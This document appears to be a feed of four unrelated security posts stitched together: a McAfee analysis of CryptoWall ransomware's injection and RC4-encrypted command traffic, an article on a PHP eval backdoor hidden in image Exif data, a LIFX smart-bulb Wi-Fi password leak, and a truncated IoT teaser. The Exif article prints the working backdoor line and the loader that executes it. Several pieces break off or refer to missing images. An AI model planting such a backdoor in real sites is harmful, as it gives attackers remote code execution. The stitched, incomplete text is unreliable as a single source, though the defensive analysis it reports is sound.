CryptoWall Ransomware Built With RC4 Bricks

Last month many Internet users were suddenly forced to trade in Bitcoins. This was not for general purposes–they were paying to get their data back. Their systems had been hijacked by ransomware.

Ransomware is a type of malware that infects a machine, locks data files or the entire system, and demands payment to free the information. What’s worse, sometimes the hijackers take the payment and still don’t unlock the data.

Law enforcement recently celebrated a major shutdown of ransomware, but no sooner does one strain of malware suffer a setback than another takes its place. During the past year the ransomware CryptoLocker has been in the news. Just after its operation was taken down we saw a similar variant, called CryptoWall.

Victims are infected by opening phishing email attachments.



CryptoWall uses stealth methods for execution, resolving API names, and random number and crypto key generation algorithms that communicate with the malware’s control servers, which are walled behind the TOR network. The use of TOR and Bitcoin in this operation make tracing the attackers more difficult.

CryptoWall is typically obfuscated and compiled with the latest C++ compiler. The malware uses a technique that is common among malware today. Instead of writing its unpacked binary onto a system, it unpacks itself in memory and later maps onto the original malware process address to execute. The unpacking routine contains lots of fake API calls and obsolete instructions to make it hard to analyze.

On execution the malware injects unpacked code into explorer.exe by using the API calls CreateProcessInternalW, ZwCreateSection, and ZwMapViewOfSection.

The infected explorer.exe further injects malicious code into the common process svchost.exe in Windows. The unpacked malware binary does not contain any API information or import address table; instead it creates one at runtime. To resolve the API names, the malware uses a hash-key technique, in which it passes a hardcoded hash to a function to get the API name from the corresponding DLL.



The malware uses Windows cryptography functions to calculate the MD5 hash of the user’s machine name and processor information using a hashing algorithm; thus the malware can store this hash as a unique identification of the infected machine.

The binary uses the following format to encrypt user information and send it to control server.


The communication between the control server and victim is via RC4 algorithm, to bypass traditional intrusion detection or prevention systems. The malware sends user information in encrypted form and waits for commands from the control server.

CryptoWall is different from other common malware in that it uses the POST parameter as a key to encrypt and decrypt POST data (user information and responses from the control server).


In the preceding image,  “/mm5pqllvakv” is the POST parameter and encrypted user data is the “v=5ca…” string outlined in red.

This POST parameter is generated using custom logic with the Mersenne twister algorithm as a random-number generator. Thus each communication is different for same data.


Using the POST parameter and custom algorithm, the malware creates a secret key in the RC4 algorithm for network traffic.


The malware uses RC4 to encrypt the data “{1|cw1500|E283970059F62062A65F957D240764FD|2|1|2|}” with the secret key “5akllmmpqvv.”

After encryption, we see this:


The POST variable name “x=” or “v=” is also chosen randomly from the POST parameter “/mm5pqllvakv.”

On the server side, we find these steps:

  • The attacker creates the secret key using the POST parameter.
  • Extracts user information from RC4-encrypted data.
  • Stores unique MD5 (machine and processor names) data to identify the victim.
  • Create a public/private key pair using OpenSSL.
  • Encrypts victim’s public key and unique homepage of ransom details with the RC4 algorithm using the secret key.
  • Encrypts user files, including docx, ppt, txt, pdf, etc. using the public key.

The communication with the control server looks like this:


Decrypted network traffic:


The secret key is created from the randomly generated POST parameter. The algorithm for creating a secret key is represented below in a simple python program:


Using the preceding algorithm, a secret key can be generated and the network response can be decrypted.

In this case, the POST parameter is “cb1wk21a56w”and the secret key for decryption is “11256abckww.”

Here is the control server response decrypted using the secret key:


After receiving the public key, the malware searches for user data and encrypts it. The data can be decrypted only by its corresponding private key.

To offer that private key, the attacker demands money. The malware displays the following message and instructs the victim to pay. It offers to decrypt one file as proof of its decoding capability.


The victim needs the corresponding private key to decrypt files. The attacker demands US$500 for the private key, with a deadline for this price. After that time, the ransom increases to US$1,000.

Your best protection is to back up your data regularly and avoid phishing emails. McAfee customers are already protected from this threat.


I would especially like to thank my colleague Vikas Taneja for his help in researching this threat.

The post CryptoWall Ransomware Built With RC4 Bricks appeared first on McAfee.

Hackers Hiding Malicious Code in Exif Data of Images

We don’t write much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don’t get hacked in the first place, which wouldn’t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing.

Hackers use various methods to try to hide the malicious code they add to websites. Oftentimes they obfuscate the code in some way, though this often makes it easier to spot the malicious code since very little legitimate code on a website would be similarly obfuscated. While cleaning a website recently we dealt malicious code that was one hand better hidden to some detection methods, but on the other hand caused the fact the website was hacked to be identified when it hadn’t been otherwise identified for some time. The website in question had been repeatedley hacked through the exploitation of a vulnerability in an outdated version of the Joomla extensions JCE. Once one of the hackers had gained access to the website they placed malicious code into the Exif data, which stores information on the camera that took the photo, of existing images on the website. The hacker replaced the existing data on the camera maker and model with malicious code:

Malicious Code in Exif Data

When deobfuscated the full code in the model tag reads:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

That code would evaluate (run) the data sent with POST variable zz1.

On its own the image file is harmless since the web server will not run the code stored in the Exif data, so a second file is used in conjunction with the image file. In this case the file consisted of two lines of code:

$exif = exif_read_data(‘/[redacted]/templates/ja_purity/images/header/header4.jpg’);

The first line reads the Exif data and the second executes the code stored in the image. The code looks rather harmless by itself, so it could easily be missed when checking for malicious code.

If a malicious code scanner doesn’t check the Exif data of image files then the malicious code could unnoticed in that as well. In this case the malicious code was detected not by something scanning the server, but by desktop antivirus software checking as the website was being visited by normal users. When we were first contacted about the website we were somewhat confused about why it would be setting anti-virus software because we were not being served any malware by the website and the only outward impact of the hack was some hidden spam links, which usually don’t set off anti-virus software. Once we got in to clean it up we found the malicious code in some image file’s Exif data and were able to figure out what was going on.

Running an image file with the modifications made by the hacker to the Exif data through VirusTotal shows that 21 of the 53 virus scanners they check currently identify the malicious code (shown below). Of those, 13 include PHP in their label which makes identifying what is going easier than other likes Symantec, which simply lists it as a “Trojan Horse”.

AVG: PHP/Small.A
Ad-Aware: Trojan.PHP.Agent.GA
AntiVir: PHP/Agent.xadx
Avast: JPG:PHPAgent-A [Trj]
BitDefender: Trojan.PHP.Agent.GA
CAT-QuickHeal: JPEG.Trojan.Agent.GA
Emsisoft: Trojan.PHP.Agent.GA (B)
F-Secure: Trojan.PHP.Agent.GA
GData: Trojan.PHP.Agent.GA
Ikarus: Backdoor.PHP.Agent
Kaspersky: Trojan.PHP.Agent.dn
McAfee: Generic BackDoor.agb
McAfee-GW-Edition: Generic BackDoor.agb
MicroWorld-eScan: Trojan.PHP.Agent.GA
Microsoft: Backdoor:PHP/Small.J
NANO-Antivirus: Trojan.Jpg.Agent.cgxikf
Norman: Backdoor.CDG
Symantec: Trojan Horse
TrendMicro-HouseCall: BKDR_ZZPEG.SM
nProtect :Trojan.PHP.Agent.GA

Crypto weakness in smart LED lightbulbs exposes Wi-Fi passwords

In the latest cautionary tale involving the so-called Internet of things, white-hat hackers have devised an attack against network-connected lightbulbs that exposes Wi-Fi passwords to anyone in proximity to one of the LED devices.

The attack works against LIFX smart lightbulbs, which can be turned on and off and adjusted using iOS- and Android-based devices. Ars Senior Reviews Editor Lee Hutchinson gave a good overview here of the Philips Hue lights, which are programmable, controllable LED-powered bulbs that compete with LIFX. The bulbs are part of a growing trend in which manufacturers add computing and networking capabilities to appliances so people can manipulate them remotely using smartphones, computers, and other network-connected devices. A 2012 Kickstarter campaign raised more than $1.3 million for LIFX, more than 13 times the original goal of $100,000.

According to a blog post published over the weekend, LIFX has updated the firmware used to control the bulbs after researchers discovered a weakness that allowed hackers within about 30 meters to obtain the passwords used to secure the connected Wi-Fi network. The credentials are passed from one networked bulb to another over a mesh network powered by 6LoWPAN, a wireless specification built on top of the IEEE 802.15.4 standard. While the bulbs used the Advanced Encryption Standard (AES) to encrypt the passwords, the underlying pre-shared key never changed, making it easy for the attacker to decipher the payload.

Read 4 remaining paragraphs | Comments

Hacking Your Fridge – Internet of Things Security

So one of the latest fads is IoT or the Internet of things phenomena which has been talked about for a while (especially since the discussion of IPv6 started), IoT is connecting physical items to the Internet and giving them some kind of IP (be in NAT or a proper IPv6 address). This enabled you [...] The post Hacking Your Fridge – Internet...

Read the full post at